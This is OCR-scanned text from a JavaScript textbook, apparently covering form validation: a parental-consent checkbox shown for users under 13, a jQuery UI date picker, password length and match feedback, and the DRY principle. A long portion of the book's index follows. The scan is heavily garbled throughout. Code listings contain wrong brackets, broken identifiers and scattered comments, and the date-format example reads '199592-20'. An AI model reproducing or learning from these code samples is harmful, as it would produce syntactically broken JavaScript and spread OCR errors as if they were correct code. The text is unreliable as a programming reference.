if ( ! val id) { 

setErrorMessage (password, 'Password must be at 

} 

return val id; 

} 


);// Store ref to element 
// Is its value >= 8 chars 
//If not, set error msg 
least 8 characters ' } ; 

// Return true / false 
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CODE DEPENDENCIES 
& REUSE 


In any project, avoid writing two sets of code that perform the same task. 
You can also try to reuse code across projects (for example, using utility 
scripts or jQuery plugins). If you do, note any dependencies in your code. 


DEPENDENCIES 

Sometimes one script will 
require another script to be 
included in the page in order to 
work. When you write a script 
that relies on another script, 
the other script is known as a 
dependency, 


For example, if you are writing 
a script that uses jQuery, then 
your script depends upon jQuery 
being included in the page in 
order to work; otherwise, you 
would not be able to use its 
selectors or methods. 


It is a good idea to note 
dependencies in a comment at 
the top of the script so that they 
are clear to others. The final 
custom function in this example 
depends on another script that 
checks the user's age. 


CODE REUSE VS. DUPLICATION 


When you have two sets of code 
that do the same job, it is referred 
to as code duplication. This is 
usually considered bad practice. 

The opposite is code reuse where 
the same lines of code are used 
in more than one part of a script 
(functions are a good example of 
code reuse). 


You may hear programmers 
refer to this as the DRY 
principle: don't repeat yourself. 
"Every piece of knowledge must 
have a single, unambiguous, 
authoritative representation 
within a system." It was 
formulated by Andrew Hunt 
and Dave Thomas in a book 
called The Pragma tic Programmer 
(AddisomWesley, 1999), 


To encourage reuse, 
programmers sometimes create 
a set of smaller scripts (instead 
of one big script). Therefore, 
code reuse can lead to more 
code dependencies. You have 
already seen an example of this 
with the helper functions for 
event handling. You are about to 
see another example... 
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VALIDATING 
PARENTAL CONSENT 


When the validation script was 
Introduced, it was noted that 
the form would use a couple of 
scripts to enhance the page, 

You start to see those scripts on 
the next page, but one of them 
needs to be noted now because 
it hides the parental consent 
checkbox when the page loads. 


The validateParentsCoTisent() 
function is called in the same 
way as the other two custom 
validation checks (see p614). 
Inside the function; 

1, It stores the checkbox 
for parental consent and its 
containing element in variables, 

2. Sets a val i d variable to true. 


JAVASCRIPT 


That parental consent checkbox 
is only shown again if the user 
indicates that they are 13 years 
old or younger 

The validation code to check 
whether the parent has given 
their consent will only run if that 
checkbox is showing. 


3. An i f statement checks 
whether the container for the 
checkbox is r?of hidden. It does 
this by fetching the value of 
its cl ass attribute and using 
the indexOf () function (which 
you saw on p!28) to check 
If it contains a value of hide.. 

If the value is not found, then 
indexOf() will return -1, 


So the code to check whether 
the parent has given consent 
depends upon (reuses) the 
same code that checked if the 
checkbox should be shown. 

This works well as long as the 
other script (to show/hide the 
checkbox) is included in the 
page before the validation script. 


4. If It is not hidden, the user is 
under 13. So, if the checkbox is 
selected, the val id variable is 
set to the true, and if it was not 
selected, it will be set to f al se. 

5. If it is not valid, an error 
message is added to the element, 

6. The function returns the value 
of the val id variable to Indicate 
whether the consent was given. 

c!3/js/va1 idation. js 



© 

© 


function val idateParentsConsent{) { 
var parentsConsent = document. get El ementById( ' parents-consent ') ; 
var consentContainer = document. getEl ementBy Id (' consent-container '} ; 
var valid = true; // Variable: valid set to true 

if (consentContainer. className.indexOf{ 'hide') === -1) { // If checkbox shown 
valid = parentsConsent. checked; // Update valid: is it checked/not 

if {'valid) ( // If not, set the error message 

setErrorMessage(parentsConsent, 'You need your parentsV consent'); 


} 


} 

© return valid; 

} 


// Return whether valid or not 
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HIDE PARENTAL CONSENT 


As you saw on the previous page, the subscription 
form uses two extra scripts to enhance the user 
experience. Here is the first; it does two things: 

• Uses the /Query U! date picker to show a 
consistent date picker across browsers 

• Checks whether the parental consent checkbox 
should be shown when the user leaves the date 
input (it does this if they are under 13) 

1. Place the script in an IIFE (not shown in flowchart). 

2. Three jQuery selections store the input where 
users enter their birthday, the consent checkbox, 
and the container for the consent checkbox. 

3* The jQuery selection for the date of birth input 
is converted from a date input to a text input so 
that it does not conflict with HTML5 date picker 
functionality (done using the jQuery *prop() 
method to alter the value of its type attribute). The 
selection uses ,data() to note that it is a date input 
and jQuery UTs .datepitkerf) method to create 
the jQuery Ul date picker 

4. When the user leaves the date input, the 
checkDate() function is called. 

5. The checkDate() function Is declared, 

6. A variable called dob is created to hold the date 
the user selected. The date is converted into an array 
of three values (month, day, and year) using the 
$plit() method of the Stri ng object 

7. toggl eParentsConsent () is called. It has one 
parameter: the date of birth. It is passed into the 
function as a Date object, 

8. toggleParentsConsent () is declared. 

9. Inside the function, it checks the date is a number. 
If not, return indicates the function should stop. 

10. The current time is obtained by creating a new 
Date object (the current time is the default value of a 
new Date object). It is stored in a variable called now. 
11* To find the user’s age, the date of birth is 
subtracted from the current date. For simplicity, leap 
years are ignored. If that is less than 13 years: 

12. Show the container for the parental consent, 

13 . Otherwise, the container of the consent box is 
hidden, and the checkbox is unchecked. 


© 

e 

o 


Create variables: 

$birth: birthday text input 
$parentsConsent : age consent checkbox 
$consentContainer: age consent container 
I 

Create date picker using jQuery 

+ 

i 

Event: bl ur or change on birthday 


O 

o 

© 

o 

o 


© 



A ls date a A 

W number? W 


Create a new Date object called now 
(subtracting dob from now gives age) 

4 - 

I 

JJfc Was birthday 

lir < IS years ago? 

|© ©| 

Remove hide class 
from consent 
container 

I 

Give focus 
to consent 
checkbox 


Add hi de class 
to consent 
container 

I 

Set checked on 
consent checkbox 
to false 
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AGE CONFIRMATION 


JAVASCRIPT 


cl3/js/birthday.js 


(T) ( f unct i on ( ) { 

I" var $birth = $( ' #bi rthday ' ) ; 

(|)- var SparentsConsent = $( ' #parents-consent ' ) ; 

var $consentContainer = $( 1 #consent-container ' ) ; 

// Create the date picker using jQuery UI 
(D $bi rth. prop (' type' , 'text') .data( 'type' , 'date' ) .datepicker({ 
dateFormat: 1 yy-mm-dd 1 
}); 

(4) $birth.on('blur change 1 , checkDate) ; 

(D function checkDate() { 

(?) var dob = this. value. split{'-'); 

// Pass toggl eParentsConsent () the date of birth as a date object 
® toggl eParentsConsent {new Date{dob[0], dob [1] - 1, dob [2] ) ) ; 

} 

(§) function toggl eParentsConsent (date) { // Declare function 

(5) if (isNaN(date)) return; // Stop if date invalid 

© var now = new DateQ; // New date obj: today 

// If difference (now minus date of birth, is less than 13 years 
// show parents consent checkbox (does not account for leap years) 


// D-O-B input 
// Consent checkbox 
// Checkbox container 


// Set date format 

// D-O-B loses focus 
// Declare checkDateQ 
// Array from date 


© 

©{ 

©{ 


// To get 13 yrs ms * secs * mins * hrs * 
if ((now - date) < {1000 * 60 * 60 * 24 * 
$consentContainer. removed ass{ 1 hide 1 ) ; 
SparentsConsent. focus (} ; 

} else ( 

SconsentContai ner. addCI ass( 1 hide' ) ; 
$parentsConsent,prop{ 'checked 1 , fal se) ; 


days * 
365 * 


years 
13)) { 

// Remove hide class 
// Give it focus 
// Otherwise 
// Add hide to class 
// Set checked to false 


J 

} 

}()); 


When creating a date picker using jQuery UI, you 
can specify the format in which you want the date to 
be written. On the right you can see several options 
for the format of the date and what this would look 
like if the date were the 20th December 1995, In 
particular note that y gives you two digits for the 
year, and yy gives you four digits for the year. 


FORMAT 


RESULT 


mm/dd/yy 

12/20/1995 

yy-mm-dd 

199592-20 

d m, y 

20 Dec, 95 

mm d, yy 

December 20, 1995 

DD, d nun. 

yy Saturday, 20 December, 1995 
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PASSWORD FEEDBACK 


The second script designed to enhance the form 
provides feedback to the users as they leave either 
of the password inputs. It changes the value of the 
class attribute for the password inputs, offering 
feedback to show whether or not the password is 
long enough and whether or not the value of the 
password and its confirmation box match. 

1. Place the script in an II FE (not shown in flowchart). 

2. Variables store references to the password input 
and the password confirmation input. 

3* setErrorHi ghl ighter{) function is declared, 

4. It retrieves the target of the event that called it. 

5. An i f statement checks the value of that element. 
If it is less than 8 characters, that element's cl ass 
attribute is given a value of fai 1 . Otherwise, it is 
given a value of pass. 

6. removeErrorHi ghl i ghter () is declared. 

7. It retrieves the target of the event that called it, 

8. If the value of the class attribute is fail, then the 
value of the cl ass attribute is set to a blank string 
(clearing the error). 

9. passwordsMatch{) is declared (it is only called by 
the password confirm box), 

10. it retrieves the target of the event that called it 
11 If the value of that element is the same as the first 
password input, its class attribute is given a value of 
pass; otherwise, it is given a value of fai 1 . 

12. Event listeners are set up: 


ELEMENT 

EVENT 

METHOD 

password 

focus 

reinoveErrorHighl ighterO 

password 

bl ur 

setErrorHi ghl i ghter () 

conf-password focus 

removeErrorHighl i ghter () 

conf-password blur 

passwordsMatchO 


This demonstrates how scripts often group all of the 
functions and the event handlers together. 


Create variables: 

© password: password input 

passwordConfirm: confirmation input 

4 

i 

© Event: bl ur on password 


O 


i 

FUNCTION: setErrorHi ghl i ghter ( ) 
Sets error highlighting 


0 


Get target element 

4 


© 



is it < 8 
characters? 



Add class: pass Add class: fai 1 


© Event: focus on password or password confirm 


O 

o 

o 


© 

o 


0 


0 


i 

FUNCTION: removeE rrorH i ghl i ght er f ) 
Removes error highlighting 

Get target element 

i 

l 

Does class 
indicate an 
error? 


Set class attribute to 1 ' 


Event: bl ur on password confirm 

I 

FUNCTION: passwordsMatch[) 

Checks both passwords match 

Get target element 

i 

I 


Do password & 
passwordConfirm 
match? 


Add class: fai 1 Add class: pass 


9 
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PASSWORD SCRIPT 


JAVASCRIPT 


cl3/js/password-signup Js 


(T) (function () { 

>~J" van password = document. getEl ementById{ 'password' ) ; 

var passwordConfi rm = document. getEl ementByld (' conf- 
(5) function setErrorHighl ighter (e) { 

( 4 ) var target = e. target |) e.srcElement; 
if (target. value. length < 8) { 
target. cl assName = 'fail'; 

(s>| } else { 

target. className = 'pass'; 

. } 

} 

© function removeErrorHighlighter(e) { 

( 7 ) var target ■ e. target |] e.srcElement; 

if (target. cl assName === 'fail') { 

(t> target. cl assName = ''; 

1 


// Store password inputs 
password 1 ) ; 

// Get target element 
// If its length is < 8 
// Set class to fail 
// Otherwise 
// Set class to pass 


// Get target element 
// If class is fail 
// Clear class 


CD 






function passwordsMatch(e) { 
var target = e. target \\ e.srcElement; 

// If value matches pwd and it is longer than 8 characters 
if ( (password* val ue === target .val ue) && target. value. length >= 


// Get target element 


target. cl assName = “pass' 
} else { 

target. cl assName = “fail 1 

} 


// 

// 

// 


Set class 
Otherwi se 
Set class 


8 ){ 

to pass 
to fail 


i 

addEvent (password, 'focus' 
addEvent (password, 1 bl ur 1 . 
addEvent (passwordConfi rm, 
addEvent (passwordConfi rm, 
'}()): 


, removeErrorHighl ighter) ; 
setErrorHighl ighter) ; 
s focus 1 1 removeErrorHighl ighter) ; 
'blur', passwordsMatch) ; 
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Form enhancements make your form easier to use. 

Validation lets you give users feedback before the form 
data is sent to the server. 


HTML5 introduced new form controls which feature 
validation (but they only work in modern or mobile 
browsers). 


HTML5 inputs and their validation messages look 
different in various browsers. 


You can use JavaScript to offer the same functionality 
as the new HTML5 elements in all browsers (and 
control how they appear in all browsers). 


ibraries like jQuery Ul help create forms that look the 
same across different browsers. 

Regular expressions help you find patterns of 
characters in a string. 


INDEX 

SYMBOLS 

$(} shortcut for jQuery () function 296, 299, 313, 361 
$ {) conflicts with other scripts that use $ (} 361 
$(documer>t).ready{function{){,,,} ) 312 
$(function() {.,.}) (shortcut) 313,364-5 
$(this) 324,549 
[] Array syntax 72 

0 Accessing an object's properties 103 
{} Code blocks 57 
{ } Code block (function) 90 

0 Final parentheses (calling a function) 97 
() Grouping operator 97 

= Assignment operator 107 

+= Operator (adding to a string) 111, 125 

== Equal to (comparison operator) 150, 168 

==- Strict equal to (comparison operator) 150, 168 

1= Not equal to (comparison operator) 150, 168 

!= s Strict not equal to (comparison operator) 150, 168 

> Greater than (comparison operator) 151 

>= Greater than or equal to (comparison operator) 151 

< Less than (comparison operator) 151 

<= Less than or equal to (comparison operator) 151 

&& Logical and (logical operators) 157, 158, 537 

1 Logical not (logical operators) 157, 159 

| | Logical or (logical operators) 157, 159, 169 
. Member operator 50,103 
// (No http: in a url) 355 

A 

. abort () method (jqXHR object) 389 
Accessibility 46, 491 
Accordion 430, 492-5, 522-5 
*accordion() (jQuery U1 method) 430 
action (DOM property - forms) 572 
add() (option to select box) 584 
* add ( } (jQuery method) 531 
«addC1ass() (jQuery method) 320,498, 

512-3, 519, 565 

addEventLi stenerQ (DOM method) 254-5,570-1 
Adding or removing HTML Content 
Comparing techniques 226-7 
innerHTML & DOM manipulation 218-225, 240-1 
Using jQuery 314-9,346-7 


Addition 76-7,181 

.after() (jQuery method) 318-9 

Age verification 617-9 

Ajax 

Introduction to 370-3 
Data formats 

HTML 374, 378-9, 390-1 
JSON 374, 376-7, 382-3, 396-7 
XML 374-5,380-1 
Forms 394-5 

,serialize() (jQuery method) 394 
jqXHR object (see J > jqXHR object) 

JSON object (see J > JSON > JSON object) 
Relative URLs 389 
Requests (loading data): 

CORS (Cross Origin Resource Sharing) 384 
HTML 378-9 

HTML (jQuery) 390-1,393 
JSON 382-3 

JSON/JSONP from a remote server 385-8 
Proxy for loading remote content 384 
XML 380-1 
jQuery 388-9, 392-3 

Joad() 390-1,407,427 
$.ajax() 388,398-9,405 
$,get() 392-3 
$*getJS0N() 392,396-7 
$.get5cript() 392 
$ . post { ) 392,394-5 
Responses 373-391 
Update URL 424-7 
URLs (maintaining) 424-7 
XMLHttpRequest object 
Methods 

open(), send() 372-3 
Properties 

responselext 379, 383, 389 
responseXML 380-2,389 
status 373,378-9,389 
XDomai nRequest object (IE8-9) 384 
Alert box 125 

al ert ( ) (wi ndow object) 124-5 
,always() (jqXHR object) 389,396-7 
AngularJS 428, 434-9 

,animate() (jQuery method) 332,334-5,352-3, 
493, 515, 520-1 
Anonymous functions 38 r 96 


APIs 

introduction to 410, 412 
API Keys 441 
Console API 470 
HTML5 APIs 413 

Geolatalion API 416-9 
History API 424-7 
Web Storage API 420-3 
Platform APIs 440 

Google Maps API 441-7 
Scripts 

Introduction to 428 
AngularJS 434-9 
jQueryUI 429-433 
.appendO (jQuery method) 318, 565 
,appendTo(} (jQuery method) 318,505,519 
appendChild() (DOM method) 222,240 
Arguments 93, 109 
Arithmetic operators 76-7 
Arrays 

introduction to 70-3 

Adding and removing items 530, 536-7, 540-3 
Creating 72 

splitO method (String object) 

to create arrays 128-130, 546-7, 563, 618-9 
Looping through an array 174-5, 535 
Methods 
concatQ 530 
every (} 530 
filterQ 530,536-7 
forEachf) 530,536-7 
mapO 530 
pop() 530 

push() 530,536-7,540-3 
reverse() 530, 564-5 
shi ft () 530 
some() 530 

sort() 530,554-9,564-5 
unshiftf) 530 
Properties 

1 ength property 72, 118-9 
Arrays and objects 

Arrays are objects 118-9 
Array-like objects (jQuery) 308, 340 
Arrays of objects 179, 533-5 
Multiple return values from a function 95 
vs variables and objects 116-7 


Assignment operator 61,107 
Asynchronous loading (Images) 509 
Asynchronous processing 371 
attachEvent () (IE8 event model) 255, 258-9, 570-1 
Cross-browser solution 570-1 
Attributes 

.attrQ (jQuery method) 320-1 
Creating / removing (DOM method) 232-5 
Autocomplete (live search) 370 

B 

back { ) (history object) 426 

. before () (jQuery method) 318 

beforeuni oad event 286-7 

Behavior layer 44 

Binding events 248, 250 

blur() (DOM method) 573 

blur event 247, 274-5, 282, 573, 588-9 

Boolean data type 62, 66 

break keyword 174 

Browsers 

Developer tools 
Debugging 464-7 
Examining DOM 236-7 
Dimensions 124-5,350 
Feature detection (see F > Feature detection) 
JavaScript console 464-79 (see also C > Console) 
Rendering engine 40 
Scrollbars 350 
Support in examples 10 
Browser Object Model 
Introduction to 121-2 
hi story object 122,124-5,424-7 
location object 122 
navigator object 122 
screen object 122,124-5 
window object 122,124-5 
Bubbling (event flow) 260-1 
Built-in objects 120-7 
; button (jQuery selector) 342 


c 

Caching 

Cross-references 540 -1 
DOM queries 190-1* 575 
images (in custom object) 509-511 
[Query selections 308-9,540-1 
Object references 540-1 
Calling a function 91 

cancel abl e property (event object) 262 

Capturing (event flow) 260-1 

Case sensitivity 56 

catch (error handling) 480-1, 576-7 

CDN 354-5 

ceil 0 (Math object) 134 

Centering images 511 

Chaining (jQuery methods) 311 

change event 247 r 232 H 573, 576-7, 586-7 

Character count 588-9 

charAt() (String object) 128-130 

Checkboxes 580-1 

:checkbox (jQuery selector) 342 
: checked (jQuery selector) 342 
checked (DOM property - forms) 573 r 580-1 
.chi 1 dren (} (jQuery method) 336 
clearTimeoutO (wi ndow object) 517-9 

• el ick() (jQuery method) 512-3 
click() (DOM method) 573 
click event 39, 246, 276-7, 573 

cl ientX, client Y (event object) 278-9 
.clone() (jQuery method) 346-7 

• c1osest() (jQuery method) 336 
Code blocks 56, 90 

Code dependencies 616 
Code reuse 616 
Collections 

elements CnodeLists) 196-9 
elements (form) 572, 600 
Color picker 591 
Comments 57 

Compare functions (sorting) 555-9 
Comparison operators 150-9 
Checking equality 168 
Comparing expressions 154-5 
Operands 152 
Truthy and falsy values 167 
concat() (array object) 530 


Conditional loading 596-7 
Conditional statements 149 
if 160-1,181 
if, ,, else 162-3 
switch 164-5, 291 
Conditions (loops) 170-1 
Console 

Breakpoints 476-8 
console. assert() 475 
console. error () 472 
consol e.groupO 473 
consol e,groupEnd() 473 
consol e. inf o{) 472 
consol e,log() 470-1 
console. tablet) 474 
console. warn() 472 
debugger keyword 479 
Constructor notation 106-111, 113 
:contains() (jQuery selector) 338 
Content layer 44 
Content panels 

Accordion 492-5, 522-5 
Modal window 500-5 
Photo viewer 506-513 
Slider 515-520 
Tabs 496-9 

continue keyword 174,594-5 
Coordinates (geolocation API) 417-9 
copy event 247 

COR5 (Cross Origin Resource Sharing) 384 
Create attributes (DOM) 234 
Create elements (DOM) 126, 222-3, 240 
Create text nodes (DOM) 126, 222-3, 240 
Cross-Site Scripting (XSS) Attacks 228-231 
*c$s{) (jQuery method) 322-3,504-5,510-1,521 
CSS 

Box dimensions 348 

CSS-style selectors in jQuery 302-3 

Properties and values 9 

Selectors to find elements (DOM) 193, 197, 202 
Updating class names 189, 195, 232 
Updating i d attributes 189, 232 
Updating styles (DOM) 195, 232 
Updating styles (jQuery) 320-3, 497-9 
Cut, copy, paste element (jQuery) 346-7 
cut event 247 


D 

,data(} (jQuery method) 546-7, 565, 602, 608-9 
data-* attributes (HTML5) 289-90, 544-6, 608 
Data binding (Angular) 437 
Data models 

Introduction to 26-7 
Comparing techniques 116-7 
Arrays and objects 118-9, 533 
Objects and properties 28 r 102-5, 142 
Data types 

Complex data types 

Objects (Arrays and functions) 131 
Simple (primitive) data types 
Boolean 62,131,167 
Number 62,131-5 
Null 131 

String 62,128-130,131 
Undefined 131 

Type coercion and weak typing 166-7 
Dates /Date object 
Introduction to 136-9 
Comparing 618-9 

Creating / Constructor 136, 138, 143 

Date formats 136-9 

Date pickers 432-3, 591,618-9 

Day & month names 137, 143 

Difference between two dates 139, 143 

Sorting 559, 562-3 

Methods 

getT ime ( ) , getMi 1 1 i seconds (), getSeconds ( ) , 
getMi nutes (}, getHours (}, getOate (), getDay (), 
getMontbf), get Full Year (), 
getT imeZoneOf f set ( ) 137 
set Time { ) , setMi 1 1 i seconds {) , setSeconds { ) , 
setMi nutes (), setHoursQ, setDate(}, 
setMonth(), setFull Year(), toStringf), 
toTimeStringO, toDateString() 137 
dblcl ick event 246 
Debugging 

Errors and a debugging workflow 462-3 
Tips 484 

(see also Console and Troubleshooting) 

Declare a variable 60-1 

Declaring an array 71-3 

Declaring a function 90,92 

defaultChecked (DOM property - forms) 573 

default Value (DOM property - forms) 573 


Delays 

clearTimeoutO 517-9 
.del ay () {jQuery method) 311, 332-3, 364 
setTimeoutO 517-9 
Delegating events 266-70, 290-1, 331 
del ete keyword 107, 112, 533 
Deserializing JSON data 382-3 
Design patterns 501 

. detach (} (jQuery method) 346, 502-3, 505 
Developer tools 236-7, 464-5 
: disabled (jQuery selector) 342 
disabled (DOM property - forms) 573, 578 
disabled (JavaScript is disabled) 491 
document object 

Introduction fo 36-9, 123, 126-7 
Events 

load 39,246, 272-3 
Methods 

get Element By Id () 39, 126,193-195 

C reateEl ement ( ) , createlextMode ( } 126, 222-3 

querySel ectorAl 1 () 126, 193, 197, 20 2, 204-5 

write () 39,49,126,226 

Properties 

domain 126 

lastModified 36,39,126-7 
title 36,39,126-7 
URL 126-7 

DOMContentLoaded event 286-7 
DOM (document object model) 

Introduction to 121, 126-7, 184, 186-7 
Elements 
Accessing 

getE1ementById() 193-5 
getElementsByClassNameO 193, 197-9, 200 
getElementsByTagNameO 193, 197, 201 
querySelectorO 193-4,202-3 
querySel ectorAl 1 (} 193, 197, 202-3, 204-5 
Adding 

appendChild() 222-3 
insertBeforeO 222,240 
Creating 

createEl ement () 222-3 
Updating 

DOM manipulation 219, 222-5, 227 
innerHTML 218, 220-1, 227, 228-31 
textContent and innerText 216 


Attributes 

cl ass attribute/cl assName property 195, 232 
getting and updating 232-5 
id property 232 
Text nodes 

createTextNode() 222 
nodeValue 214-5 

textContent and innerlext 216-7 
Document nodes 186 
document object (see D > document object) 

DOM queries 

Performance (fastest route) 192 
Caching DOM queries 190-1, 575 
DOM tree 

introduction to 40-1,186-7 
Inspecting (exploring - browser tools) 236-7 
Traversing the DOM 208, 210-31 
Updating 212-3 
Events (see E > Events) 

Event handlers 250, 252-3 
Event listeners 250, 254-5, 263, 265 
Nodes 40, 186-9 
Whitespace 209-211 
NodeList 192, 196-9, 202-205 
1 ength property 196 
Live and static NodeLists 196 
Looping through 204-5 
Selecting items from a NodeList 198-9 
.doneQ CjqXHR object) 389,405 
Dot notation 103 (see oho member operator) 

Do while loops 170,177 
Drop-down boxes 584-7 
DRV principle (don't repeat yourself) 616 
Dynamic filtering 538-43 

E 

■ each() (jQuery method) 324-5, 333, 339, 498-9, 
519, 531,546-7 
ECMAScript 532 

Elements (see D> DOM > Elements and J > jQuery) 
Dimensions (jQuery) 348-9 
Finding elements (DOM) 192-203 
Finding elements (jQuery) 296, 302-3, 336, 342 
Form element content (jQuery) 342-5 
Hiding/showing 332-3,582-3, 618-9 
Inserting new elements (jQuery) 318-9 


Updating elements (DOM) 212-3 
Updating elements (jQuery) 313 
elements collection (DOM property) 572, 574-5 
• empty () (jQuery method) 346, 504-5 
: enabled (jQuery selector) 342 
,eq() (jQuery method) 340-1, 512-3, 521 
Equality 150-1, 168 
equals sign (assignment operator) 61 
Errors 

Common errors 460-1, 485 
Debugging workflow 462-3 (and tips 484-5) 
error event 246,272 
Error handling 480-1, 576-7 
Error objects 459, 461, 481 
Eval Error 459-460 
RangeError 459 r 461 
ReferenceError 459-60 
SyntaxError 459-60 
TypeError 459, 461 
URIError 459-60 
Exceptions 458, 480-1 
NaN 461 

Understandingerrors 458 
e (shorthand: event or error object) 328 
Eval Error 459-460 
Evaluating conditions 149-59 
Events 

/ntroduch'on to 5, 30-31, 244-50 
All events 

beforeunload 286-7 
blur 247,274-5, 282 
change 282-3,586-7 
click 260-1, 268-9, 276-7 
dbl click 246, 276 
DOMContent Loaded 286-7 
DOMNode Inserted 284, 285 
DQMNodelnsertedlntoDocument 284 
DOMNodeRemoved 284 
DOMNodeRemovedFromDocurnent 284 
DOMSubtreeModified 284 
error 246, 272 

focus 274-5, 282, 588-9, 594-5 

focusin 274 

focusout 274 

hashchange 286,426-7 

input 247, 271, 280-2, 552-3, 573, 588-9 


Events continued. 
keydown 280 
keypress 280-1 
keyup 280 
load 39 r 246, 272-3 
mousedown 276 
mousemove 276, 279 
mouseout 276 
mouseover 276 
mouseup 276 
resize 272, 504-5 
scroll 272 

submit 282-3,572, 574-5 
unload 272 
binding 248, 250 

Delegation (DOM) 266, 268-71, 290-1 
Delegation ([Query) 330-1,365 
Determining position 278-9 
Event flow (bubbling and capturing) 260-1 
Event handlers 

Cross browser 570-1 
DOM Event handlers 250, 252-3 
DOM Event listeners 250,254-5 
Removing event listeners 255 
Using parameters with events 256-7, 263 
HTML event handlers 250-1 
event object DOM 262-3, 265-70 
Methods 

preventDefault() 262,267,283 
stopPropagationQ 262,267 
Properties 

cancelable, cl ientX, clientY, pageX, pageY, 
screenX, screenY, target, type 262, 278-9 
event object (jQuery) 328-9, 331 
Methods 

.preventDefaul t() 328 
.stopPropagationO 328 
Properties 

data, pageX, pageY, target, f imeStamp, 
type, which 328 
IE8 event model 

attachEventf) 255, 258-9, 290 
Cross-browser helper function 570-1 
event object 264-5, 570-1 

Property and method equivalents 262 
Fallback example 258-9 
jQuery (consider as alternative) 300-1 


jQuery events 326-331 343 
Performance (delegation) 266, 268-9, 290, 331 
Terminology (fired, raised, triggered) 247 
Types of event 246-7, 271 
W3CDQM 271-286 
HTML5 286-7 

jQuery events 326-331,343-5 
Which element user interacted with 262-70 
every () (array object) 530 
Exceptions (see Errors) 

Execution contexts 453-6 
Expressions 74-6 

Comparing expressions 154 
Function expressions 96-7 

F 

.fadelnO (jQuery method) 298, 311,332-7,365 
.fadeOutO (jQuery method) 332-3, 337, 510-11 
,fadeTo() (jQuery method) 510-11 
. fai 1 {) method (jqXHR object) 389, 396-7, 405 
Falsy and truthy values 167-9 
Feature detection 

Feature detection (in jQuery) 301 
Modernizr 414-5, 417, 419, 593, 596-7 
: f 7 1 e (jQuery selector) 342 
File extension 
Js 46 
.min.js 298 
Filtering 

/nfroduct/orc fo 534 
filterO (array object) 530, 536-7 
,filter{) CjQuery method) 338-9, 343,531, 
548-9 
Tags 544-9 

Text/ live search 550-3 
final ly (error handling) 480-1 
Final parentheses 97 

,find(} (jQuery method) 336-7, 518-9, 564-5 
Firebug 237 

f i rstChi 1 d (DOM property) 188-9, 208-9, 211 
Flags 578-9 

floor() (Math object) 134-5,139 
Flowcharts 18, 23,148,494 
fn object (jQuery) 523-5 
focus () (DOM method) 273, 573 
.focus() (jQuery method) 326, 619 
: focus (jQuery selector) 342 


focus event 274-5, 282, 573 r 588-9 
focus in event 247 
focusout event 247 

forEachQ (array object) 530, 536-7, 542-3 

for loop 172-3, 175, 207 

Forms 

Controls (types of) 573 

Changing type of form control 576-7 
Checkboxes 580-1 
Date picker (HTML5) 591 
Date picker (jQuery) 432-3,619-9 
Email 590,611 
Radio buttons 582-3 
Range inputs 591 
Select boxes 584-7 
Submit button 578-9 
Text input 576-7, 594-5 
Textareas 588-9 
elements collection 600 
Enhancement 

introduction to 568 

jQuery U! (Date picker & slider) 432-3 
Password length and match 620-1 
Show or hide based on other form input 618-9 
Giving focus to an element 273, 326, 573, 619 
Methods 343, 572-3, 584 
Properties 343, 572-3, 584 
Submitting forms 574-5,578-9 
Validation 282, 598-619 
introduction to 568,598 
Age 617-9 

Character count 588-9 
Checkbox selected 580-1 
Checking tor a value 606-7 
Checking length of text input 615 
Dates 617-9 
Email 611 

HTML5 form validation 590-1,604-5 

Length of text/password input 588-9, 620-1 

Numbers 132, 343 

Password length and match 615 

Radio button selected 582-3 

Regular expressions 612-3 

Required elements 606-7 

test() and regular expressions 611-3 

Turn off HTML5 validation 591 

URL 590 


Which element the user interacted with 576-7 
(see also Event object) 
forward () (history object) 426 
Function-level scope 98 
Functions 

/ntroducf/on to 88-9 
Anonymous functions 88 
Arguments 92-3 
Calling 91,93 
Code block 90 
Declaring 90, 92, 96 
Final parentheses 97 
Function expressions 96-7 
Helper functions 570-571 
initialize/ init() 539,542-3 
Parameters 88, 92-3 
return 92, 94-7, 578-9, 586-7, 594-5 
this (scope of keyword) 270 
(see also thi s keyword) 

G 

Geolocation API 416-9 
$ . get ( ) (jQuery method) 388,392-3 
getAttribute() (DOM method) 232-3 
getCurrentPosi ti on () (Geolocafion API) 417-9 
getDateO (Date object) 137 
getDay() (Date object) 137 
getElement6yId() (DOM method) 126, 192-5 
getElementsByClassMameO (DOM method) 193, 
197,200 

gelETementsByTagNarae() (DOM method) 193,197, 
201, 240 

getFul 1 YearQ (Date object) 137-8 
getHoursQ (Date object) 137 
getltem() (storage API) 421-3 
$ . getJSON ( ) (jQuery method) 388,392, 396-7,405 
getHi 11 seconds 0 (Date object) 137 
getMinutes() (Date object) 137 
getMonth{) (Date object) 137 
$,getScript() (jQuery method) 388,392 
getSeconds() (Date object) 137 
getTimeO (Date object) 137 
getlimezone0ffset() (Date object) 137 


Global JavaScript Objects 
Introduction to 121, 124-139 
Boolean object 123 
Date object 123,136-9 
Math object 123,134-5 
Number object 123, 132-3 
Regex object 123 
String object 123,128-130 
Global scope 98 
go() (history object) 426 
Google Maps API 441-7 
Grouping operator 97 
igt () (jQuery selector) 340-1 

H 

: has () (jQuery selector) 338-9 
hasAttributeQ (DOM method) 232-3, 235 
.hasClass() (jQuery method) 365 
hashchange event 286,426-7 
■ heightQ (jQuery methods) 348-9, 350, 353 
height (screen object) 124-5 
Helper functions 570-571 
,hide() (jQuery method) 332-3, 512-3, 582-3, 
618-9 

History API 424-7 

hi story object (Browser Object Model) 124-5, 
424-7 
Methods 

backO, forward (), go(), 
push$tate(), rep1aceState() 426 
Properties 
length 426 
History stack 424 
Hoisting 456 

How many characters in a string 128-130 
.html() (jQuery method) 314-7 
HTML5 
APIs 413 

Geolocation API 416-9 
History API 424-7 
Web Storage API 420-3 
Attributes 

data-* attributes 289-90, 544-6, 608 
required 591,607 
Events 286-7 

Form controls (support, polyfills, styling) 590-2 
placeholder fallback 594-7 


I 

id (DOM property) 189,232 
if... else 148-9,162-3 
i f statements 148-9, 160-3, 181 
: image (jQuery selector) 342 
Images centering 511 

Immediately Invoked Function Expressions (IIFE) 97, 
142, 504, 523 
Implicit iteration 310 
Increment in loops 170-3 
. index () (jQuery method) 565 
Index numbers 129 

indexOfO (String object) 128-130, 550-3 
Initialize/ ini t() (functions) 539, 542-3 
Inline scripts 49 

.innerHeightQ (jQuery methods) 348 
i nnerHei gbt (wi ndow object) 124-5 
i nnerHTML (DOM property) 218, 220-1, 227 
Security risks 228 
innerText (DOM property) 216-7 
.innerWidthO (jQuery methods) 348 
innerWidth (window object) 124-5 
: input (jQuery selector) 342 
i nput event 247, 271, 280-2, 552-3, 573, 588-9 
insertBefore(} (DOM method) 240 
Instances (of objects) 109-11 
Interpreter 
Definition 40 
How it works' 452-7 
